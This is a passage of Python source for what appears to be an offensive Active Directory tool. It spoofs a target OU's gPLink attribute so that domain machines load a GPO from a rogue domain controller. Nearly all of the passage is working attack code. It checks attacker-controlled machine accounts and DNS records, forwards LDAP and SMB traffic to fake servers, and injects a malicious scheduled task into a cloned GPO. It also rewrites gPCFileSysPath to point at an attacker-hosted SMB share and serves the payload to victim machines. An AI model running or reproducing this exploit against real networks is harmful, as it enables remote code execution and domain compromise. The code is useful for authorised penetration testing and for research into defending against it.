LDAP computer account {ldap_machine_name} valid in target domain.{bcolors.ENDC}") 238 | 239 | 240 | ### ================================================================================= ### 241 | ### Verifying the existence of the SMB computer account in case of forwarded SMB mode ### 242 | ### ================================================================================= ### 243 | if smb_mode == "forwarded": 244 | try: 245 | server = Server(f'ldaps://{dc}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{dc}:389', port = 389, use_ssl = False) 246 | check_session = Connection(server, user=f"{domain}\\{smb_machine_name}", password=smb_machine_password, authentication=NTLM, auto_bind=True) 247 | except: 248 | traceback.print_exc() 249 | logger.error(f"{bcolors.FAIL}[!] Could not authenticate with provided SMB machine account {smb_machine_name} on target domain. You may want to run the following command:{bcolors.ENDC}") 250 | logger.error(f"python3 addcomputer.py -computer-name {smb_machine_name} -computer-pass '{smb_machine_password}' -method LDAPS '{domain}/{username}:{password}'") 251 | sys.exit(1) 252 | logger.warning(f"{bcolors.OKGREEN}[+] SMB computer account {smb_machine_name} valid in target domain.{bcolors.ENDC}") 253 | 254 | 255 | ### ============================= ### 256 | ### Verifying the LDAP DNS record ### 257 | ### ============================= ### 258 | try: 259 | dns_result = socket.gethostbyname(f'{ldap_machine_name[:-1]}.{domain}') 260 | except socket.error: 261 | logger.error(f"{bcolors.FAIL}[!] Could not resolve {ldap_machine_name[:-1]}.{domain} to an IP address. If you did not add the expected DNS record, you may want to run the following command:{bcolors.ENDC}") 262 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{ldap_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"') 263 | sys.exit(1) 264 | 265 | if dns_result != attacker_ip: 266 | logger.error(f"{bcolors.FAIL}[!] The DNS record for {ldap_machine_name[:-1]}.{domain} ({dns_result}) does not match the provided attacker-ip parameter ({attacker_ip}). The attack will not work.{bcolors.ENDC}") 267 | logger.error(f"You may want to delete the existing DNS record, and run the following command:") 268 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{ldap_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"') 269 | sys.exit(1) 270 | logger.warning(f"{bcolors.OKGREEN}[+] The DNS record {ldap_machine_name[:-1]}.{domain} exists and matches the provided attacker IP address ({attacker_ip}){bcolors.ENDC}") 271 | 272 | 273 | ### ===================================================== ### 274 | ### Verifying the SMB DNS record in case of forwarded SMB ### 275 | ### ===================================================== ### 276 | if smb_mode == "forwarded": 277 | try: 278 | dns_result = socket.gethostbyname(f'{smb_machine_name[:-1]}.{domain}') 279 | except socket.error: 280 | logger.error(f"{bcolors.FAIL}[!] Could not resolve {smb_machine_name[:-1]}.{domain} to an IP address. If you did not add the expected DNS record, you may want to run the following command:{bcolors.ENDC}") 281 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{smb_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"') 282 | sys.exit(1) 283 | 284 | if dns_result != attacker_ip: 285 | logger.error(f"{bcolors.FAIL}[!] The DNS record for {smb_machine_name[:-1]}.{domain} ({dns_result}) does not match the provided attacker-ip parameter ({attacker_ip}). The attack will not work.{bcolors.ENDC}") 286 | logger.error(f"You may want to delete the existing DNS record, and run the following command:") 287 | logger.error(f'python3 dnstool.py -u \'{domain}\\{username}\' -p \'{password}\' -r \'{smb_machine_name[:-1]}\' -a add -d "{attacker_ip}" "{domain}"') 288 | sys.exit(1) 289 | logger.warning(f"{bcolors.OKGREEN}[+] The DNS record {smb_machine_name[:-1]}.{domain} exists and matches the provided attacker IP address ({attacker_ip}){bcolors.ENDC}") 290 | 291 | 292 | 293 | ### ====================================== ### 294 | ### Verifying the password synchronization ### 295 | ### ====================================== ### 296 | ''' 297 | try: 298 | resolver = dns.resolver.Resolver() 299 | resolver.nameservers = [ldap_ip] 300 | answers = resolver.resolve(f"_ldap._tcp.{ldap_domain}", 'SRV') 301 | parsed = str(answers[0].target).split(".", 1) 302 | ldap_check_hostname = parsed[0] 303 | except: 304 | logger.error(f"{bcolors.FAIL}[!] Could not resolve _ldap._tcp.{ldap_domain}. Are you sure the domain name of your LDAP server is {ldap_domain} as expected ?{bcolors.ENDC}") 305 | confirmation = typer.prompt("[?] Do you still want to continue ? (I will not be able to check that the password of the LDAP server is the same as the machine account) [yes/no] ") 306 | if confirmation.lower() != 'yes': 307 | sys.exit(1) 308 | ''' 309 | 310 | # Check if we can login to LDAP server 311 | if ldap_hostname is not None: 312 | if ldap_check_credentials(ldap_ip, f"{ldap_hostname.upper()}$" if not ldap_hostname.endswith('$') else f"{ldap_hostname.upper()}", ldap_machine_password, ldap_domain) is False: 313 | logger.error(f"{bcolors.FAIL}[!] Could not establish an LDAP session with the LDAP server for the DC hostname and the machine password. Are you sure the LDAP server has the password {ldap_machine_password} ?{bcolors.ENDC}") 314 | confirmation = typer.prompt("[?] Do you still want to continue ? Things may break [yes/no] ") 315 | if confirmation.lower() != 'yes': 316 | sys.exit(1) 317 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully authenticated to LDAP server with DC account and LDAP machine_password. LDAP and machine account passwords are synchronized.{bcolors.ENDC}") 318 | 319 | # For the SMB server, only perform checks if we are in "forwarded" mode 320 | if smb_mode == "forwarded" and just_coerce is False: 321 | ''' 322 | try: 323 | # Check if the SMB domain controller matches the machine account DNS record of target domain 324 | resolver = dns.resolver.Resolver() 325 | resolver.nameservers = [smb_ip] 326 | answers = resolver.resolve(f"_ldap._tcp.{domain}", 'SRV') 327 | parsed = str(answers[0].target).split(".", 1) 328 | smb_check_hostname = parsed[0] 329 | except: 330 | logger.error(f"{bcolors.FAIL}[!] Could not resolve _ldap._tcp.{domain} with SMB nameserver. Are you sure the domain name of your SMB server is {domain} as expected ?{bcolors.ENDC}") 331 | 332 | if smb_check_hostname is not None and smb_check_hostname != machine_name[:-1]: 333 | logger.error(f"{bcolors.FAIL}[!] Resolved SMB server hostname ({smb_check_hostname}) is not {machine_name[:-1]} as expected ?{bcolors.ENDC}") 334 | failure = True 335 | ''' 336 | # Check if we can login to SMB server 337 | if ldap_check_credentials(smb_ip, f"{smb_machine_name}", smb_machine_password, domain) is False: 338 | logger.error(f"{bcolors.FAIL}[!] Could not establish an LDAP session with the SMB server for the DC hostname and the SMB machine password. Are you sure the SMB server has the password {smb_machine_password} ?{bcolors.ENDC}") 339 | confirmation = typer.prompt("[?] Do you still want to continue ? (things may break) [yes/no] ") 340 | if confirmation.lower() != 'yes': 341 | sys.exit(1) 342 | else: 343 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully authenticated to SMB server with DC account and SMB machine_password. SMB server and SMB machine account passwords are synchronized.{bcolors.ENDC}") 344 | 345 | 346 | 347 | ### ============================================ ### 348 | ### Launching port forwarding server in a thread ### 349 | ### ============================================ ### 350 | logger.warning(f"\n\n{bcolors.BOLD}=== SETTING UP PORT FORWARDING ==={bcolors.ENDC}") 351 | logger.warning(f"[*] Creating LDAP port forwarding. All traffic incoming on port 389 on attacker machine ({attacker_ip}) should be redirected on port 389 of the fake LDAP server ({ldap_ip})") 352 | forwarder_settings = (attacker_ip, 389, ldap_ip, 389) 353 | thread.start_new_thread(forwarder.server, forwarder_settings) 354 | logger.warning(f"{bcolors.OKGREEN}[+] Created port forwarding ({attacker_ip}:389 -> {ldap_ip}:389){bcolors.ENDC}") 355 | 356 | if smb_mode == "forwarded" and just_coerce is not True: 357 | logger.warning(f"\n[*] Creating SMB port forwarding. All traffic incoming on port 445 on attacker machine ({attacker_ip}) should be redirected on port 445 of the fake SMB server ({smb_ip})") 358 | forwarder_settings = (attacker_ip, 445, smb_ip, 445) 359 | thread.start_new_thread(forwarder.server, forwarder_settings) 360 | logger.warning(f"{bcolors.OKGREEN}[+] Created port forwarding ({attacker_ip}:445 -> {ldap_ip}:445){bcolors.ENDC}") 361 | 362 | 363 | ### ================================================================================== ### 364 | ### Cloning the rogue DC GPO, add an immediate task to it, and store it in GPT_out ### 365 | ### Spoofing the gPCFileSysPath attribute of the cloned GPO, and update its extensions ### 366 | ### ================================================================================== ### 367 | logger.warning(f"\n\n{bcolors.BOLD}=== PERFORMING GPO OPERATIONS (CLONING, INJECTING SCHEDULED TASK, UPLOADING TO SMB SERVER IF NEEDED) ==={bcolors.ENDC}") 368 | save_dir, save_file_name = init_save_file(containerDN) 369 | logger.warning(f"[*] The save file for current exploit run is {save_file_name}") 370 | 371 | logger.warning(f"[*] Cloning GPO {gpo_id} from fakedc {ldap_ip}.") 372 | try: 373 | smb_session = get_smb_connection(ldap_ip, ldap_username, ldap_password, None, ldap_domain) 374 | download_initial_gpo(smb_session, ldap_domain, gpo_id) 375 | except: 376 | logger.critical(f"{bcolors.FAIL}[!] Failed to download GPO from fakedc (ldap_ip: {ldap_ip} ; ldap_username: {ldap_username} ; ldap_password: {ldap_password} ; fakedc domain: {ldap_domain}). Exiting...{bcolors.ENDC}", exc_info=True) 377 | sys.exit(1) 378 | 379 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully downloaded GPO from fakedc to '{OUTPUT_DIR}' folder.{bcolors.ENDC}") 380 | 381 | logger.warning(f"[*] Injecting malicious scheduled task into downloaded GPO") 382 | try: 383 | if module is not None: 384 | logger.warning(f"[*] Module provided - writing module to GPC") 385 | module = validate_modules([module]) 386 | module = module[0] 387 | module_name = module.MODULECONFIG.name 388 | module_instance = MODULES_CONFIG[module.MODULECONFIG.name]["class"](module.MODULECONFIG, module.MODULEOPTIONS, module.MODULEFILTERS, "", save_dir) 389 | module_xml = module_instance.get_xml() 390 | root_path = "Machine" if target_type == "computer" else "User" 391 | module_path = os.path.join(OUTPUT_DIR, root_path, MODULES_CONFIG[module.MODULECONFIG.name]["gpt_path"].replace('\\', '/')) 392 | os.makedirs(os.path.join(OUTPUT_DIR, root_path, '/'.join(MODULES_CONFIG[module.MODULECONFIG.name]["gpt_path"].split("\\")[:-1])), exist_ok=True) 393 | with open(module_path, "wb") as f: 394 | f.write(module_xml) 395 | else: 396 | logger.warning(f"[*] Command provided - writing Immediate task to GPC") 397 | module_name = "Scheduled Tasks" 398 | write_scheduled_task(target_type, command, False) 399 | except: 400 | logger.critical(f"{bcolors.FAIL}[!] Failed to write malicious configuration to downloaded GPO. Exiting...{bcolors.ENDC}", exc_info=True) 401 | sys.exit(1) 402 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully injected malicious configuration to downloaded GPO.{bcolors.ENDC}") 403 | 404 | 405 | try: 406 | gpo_dn = 'CN={' + gpo_id + '}},CN=Policies,CN=System,{}'.format(ldap_domain_dn) 407 | ldap_server = Server(f'ldap://{ldap_ip}:389', port = 389, use_ssl = False) 408 | ldap_server_session = Connection(ldap_server, user=f"{ldap_domain}\\{ldap_username}", password=ldap_password, authentication=NTLM, auto_bind=True) 409 | if smb_mode == "embedded" or just_coerce is True: 410 | if just_coerce is True and coerce_to is not None: 411 | smb_path = f'\\\\{coerce_to}\\{smb_share_name}' 412 | else: 413 | smb_path = f'\\\\{attacker_ip}\\{smb_share_name}' 414 | else: 415 | smb_path = f'\\\\{smb_machine_name[:-1].lower()}.{domain}\\{smb_share_name}' 416 | 417 | initial_gpcfilesyspath = get_attribute(ldap_server_session, gpo_dn, "gPCFileSysPath") 418 | logger.warning(f"[*] Modifying gPCFileSysPath attribute of GPO on fakedc to {smb_path} (initial value saved: {initial_gpcfilesyspath})") 419 | result = modify_attribute(ldap_server_session, gpo_dn, "gPCFileSysPath", smb_path) 420 | if result is not True: raise Exception 421 | except: 422 | print(traceback.print_exc()) 423 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify the gPCFileSysPath attribute of the fakedc GPO. Exiting...{bcolors.ENDC}") 424 | sys.exit(1) 425 | save_attribute_value("gPCFileSysPath", initial_gpcfilesyspath, save_file_name, "ldap_server", gpo_dn) 426 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully updated gPCFileSysPath attribute of fakedc GPO.{bcolors.ENDC}") 427 | 428 | 429 | try: 430 | attribute_name = "gPCMachineExtensionNames" if target_type == "computer" else "gPCUserExtensionNames" 431 | extensionName = str(get_attribute(ldap_server_session, gpo_dn, attribute_name)) 432 | updated_extensionName = generate_extension_names(module_name, extensionName) 433 | logger.warning(f"[*] Modifying {attribute_name} attribute of GPO on fakedc to {updated_extensionName}") 434 | result = modify_attribute(ldap_server_session, gpo_dn, attribute_name, updated_extensionName) 435 | if result is not True: raise Exception 436 | except: 437 | print(traceback.print_exc()) 438 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify the GPC extension names for the fakedc GPO. Cleaning and exiting...{bcolors.ENDC}") 439 | clean(None, ldap_server_session, save_file_name) 440 | sys.exit(1) 441 | save_attribute_value(attribute_name, extensionName, save_file_name, "ldap_server", gpo_dn) 442 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully updated extension names of fakedc GPO.{bcolors.ENDC}") 443 | 444 | try: 445 | logger.warning(f"[*] Incrementing fakedc GPO version number (GPC and cloned GPT). This is actually mainly to ensure it is not 0...") 446 | versionNumber = int(get_attribute(ldap_server_session, gpo_dn, "versionNumber")) 447 | updated_version = versionNumber + 1 if target_type == "computer" else versionNumber + 65536 448 | result = modify_attribute(ldap_server_session, gpo_dn, "versionNumber", updated_version) 449 | update_GPT_version_number(ldap_server_session, gpo_dn, target_type) 450 | except: 451 | print(traceback.print_exc()) 452 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify GPC/GPT version number of fakedc GPO.{bcolors.ENDC}") 453 | logger.critical("[*] Continuing...") 454 | save_attribute_value("versionNumber", versionNumber, save_file_name, "ldap_server", gpo_dn) 455 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully updated GPC versionNumber attribute{bcolors.ENDC}") 456 | 457 | 458 | ### ================================================== ### 459 | ### For forwarded SMB, writing GPO to SMB server share ### 460 | ### ================================================== ### 461 | if smb_mode == "forwarded" and just_coerce is not True: 462 | try: 463 | smb_session_smb = get_smb_connection(smb_ip, smb_username, smb_password, None, domain) 464 | recursive_smb_delete(smb_session_smb, smb_share_name, '*') 465 | upload_directory_to_share(smb_session_smb, smb_share_name) 466 | except: 467 | traceback.print_exc() 468 | logger.critical(f"{bcolors.FAIL}[!] Failed to upload GPO to SMB server.{bcolors.ENDC}") 469 | clean(None, ldap_server_session, save_file_name) 470 | sys.exit(1) 471 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully uploaded GPO to SMB server {smb_ip}, on share {smb_share_name}.{bcolors.ENDC}") 472 | 473 | ### ============================================== ### 474 | ### Spoofing the gPLink attribute of the target OU ### 475 | ### ============================================== ### 476 | logger.warning(f"\n\n{bcolors.BOLD}=== SPOOFING THE GPLINK ATTRIBUTE OF THE TARGET OU ==={bcolors.ENDC}") 477 | try: 478 | server = Server(f'ldaps://{dc}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{dc}:389', port = 389, use_ssl = False) 479 | ldap_session = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True) 480 | except: 481 | print(traceback.print_exc()) 482 | logger.critical(f"{bcolors.FAIL}[!] Could not establish an LDAP connection to target domain with provided credentials ({domain}\{username}:{password}).{bcolors.ENDC}") 483 | clean(ldap_session, ldap_server_session, save_file_name) 484 | sys.exit(1) 485 | 486 | logger.warning(f"[*] Searching the target container '{containerDN}'.") 487 | try: 488 | ldap_session.search(containerDN, "(objectClass=*)", BASE, attributes=[ALL_ATTRIBUTES]) 489 | ldap_entries = len(ldap_session.entries) 490 | if ldap_entries == 1: 491 | containerDN = ldap_session.entries[0].entry_dn 492 | logger.warning(f"{bcolors.OKGREEN}[+] Container found - {containerDN}.{bcolors.ENDC}") 493 | else: 494 | logger.error(f"{bcolors.FAIL}[!] Could not find container with Distinguished Name {containerDN}.{bcolors.ENDC}") 495 | clean(ldap_session, ldap_server_session, save_file_name) 496 | sys.exit(1) 497 | except: 498 | print(traceback.print_exc()) 499 | logger.critical(f"{bcolors.FAIL}[!] Something went wrong while searching for the target container.{bcolors.ENDC}") 500 | clean(ldap_session, ldap_server_session, save_file_name) 501 | sys.exit(1) 502 | 503 | try: 504 | spoofed_gPLink = f"[LDAP://cn={{{gpo_id}}},cn=policies,cn=system,{ldap_domain_dn};0]" 505 | initial_gPLink = get_attribute(ldap_session, containerDN, "gPLink") 506 | logger.warning(f"[*] Initial gPLink is {initial_gPLink}.") 507 | if str(initial_gPLink) != '[]': 508 | spoofed_gPLink = str(initial_gPLink) + spoofed_gPLink 509 | logger.warning(f"[*] Spoofing gPLink to {spoofed_gPLink}") 510 | result = modify_attribute(ldap_session, containerDN, 'gPLink', spoofed_gPLink) 511 | if result is not True: raise Exception 512 | except: 513 | print(traceback.print_exc()) 514 | logger.critical(f"{bcolors.FAIL}[!] Failed to modify the gPLink attribute of the target OU with provided user.{bcolors.ENDC}") 515 | clean(ldap_session, ldap_server_session, save_file_name) 516 | sys.exit(1) 517 | save_attribute_value("gPLink", initial_gPLink, save_file_name, "domain", containerDN) 518 | logger.warning(f"{bcolors.OKGREEN}[+] Successfully spoofed gPLink for container {containerDN}{bcolors.ENDC}") 519 | 520 | 521 | 522 | 523 | ### ======================== ### 524 | ### Launching GPT SMB server ### 525 | ### ======================== ### 526 | try: 527 | if just_coerce is True and coerce_to is not None: 528 | logger.warning(f"\n{bcolors.BOLD}=== WAITING (SMB NTLM AUTHENTICATION COERCED TO {smb_path}) ==={bcolors.ENDC}") 529 | while True: 530 | sleep(30) 531 | 532 | elif smb_mode == "embedded" or just_coerce is True: 533 | logger.warning(f"\n{bcolors.BOLD}=== LAUNCHING SMB SERVER AND WAITING FOR GPT REQUESTS ==={bcolors.ENDC}") 534 | logger.warning(f"\n{bcolors.BOLD}If the attack is successful, you will see authentication logs of machines retrieving and executing the malicious GPO{bcolors.ENDC}") 535 | logger.warning(f"{bcolors.BOLD}Type CTRL+C when you're done. This will trigger cleaning actions{bcolors.ENDC}\n") 536 | 537 | lmhash = compute_lmhash(ldap_machine_password) 538 | nthash = compute_nthash(ldap_machine_password) 539 | 540 | server = SimpleSMBServer(listenAddress=attacker_ip, 541 | listenPort=445, 542 | domainName=domain, 543 | machineName=ldap_machine_name, 544 | netlogon=False if just_coerce is True else True) 545 | server.addShare(smb_share_name.upper(), OUTPUT_DIR, '') 546 | server.setSMB2Support(True) 547 | server.addCredential(ldap_machine_name, 0, lmhash, nthash) 548 | server.setSMBChallenge('') 549 | server.setLogFile('') 550 | server.start() 551 | 552 | else: 553 | logger.warning(f"\n{bcolors.BOLD}=== WAITING (GPT REQUESTS WILL BE FORWARDED TO SMB SERVER) ==={bcolors.ENDC}") 554 | while True: 555 | sleep(30) 556 | 557 | except KeyboardInterrupt: 558 | logger.warning(f"\n\n{bcolors.BOLD}=== Cleaning and restoring previous GPC attribute values ==={bcolors.ENDC}\n") 559 | # Reinitialize ldap connections, since cleaning can happen long after exploit launch 560 | server = Server(f'ldaps://{dc}:636', port = 636, use_ssl = True) if ldaps is True else Server(f'ldap://{dc}:389', port = 389, use_ssl = False) 561 | if hash is not None: 562 | ldap_session = Connection(server, user=f"{domain}\\{username}", password=hash, authentication=NTLM, auto_bind=True) 563 | else: 564 | ldap_session = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True) 565 | ldap_server = Server(f'ldap://{ldap_ip}:389', port = 389, use_ssl = False) 566 | ldap_server_session = Connection(ldap_server, user=f"{ldap_domain}\\{ldap_username}", password=ldap_password, authentication=NTLM, auto_bind=True) 567 | clean(ldap_session, ldap_server_session, save_file_name) 568 | 569 | 570 | def entrypoint(): 571 | typer.run(main) 572 | 573 | 574 | if __name__ == "__main__": 575 | typer.run(main) 576 | --------------------------------------------------------------------------------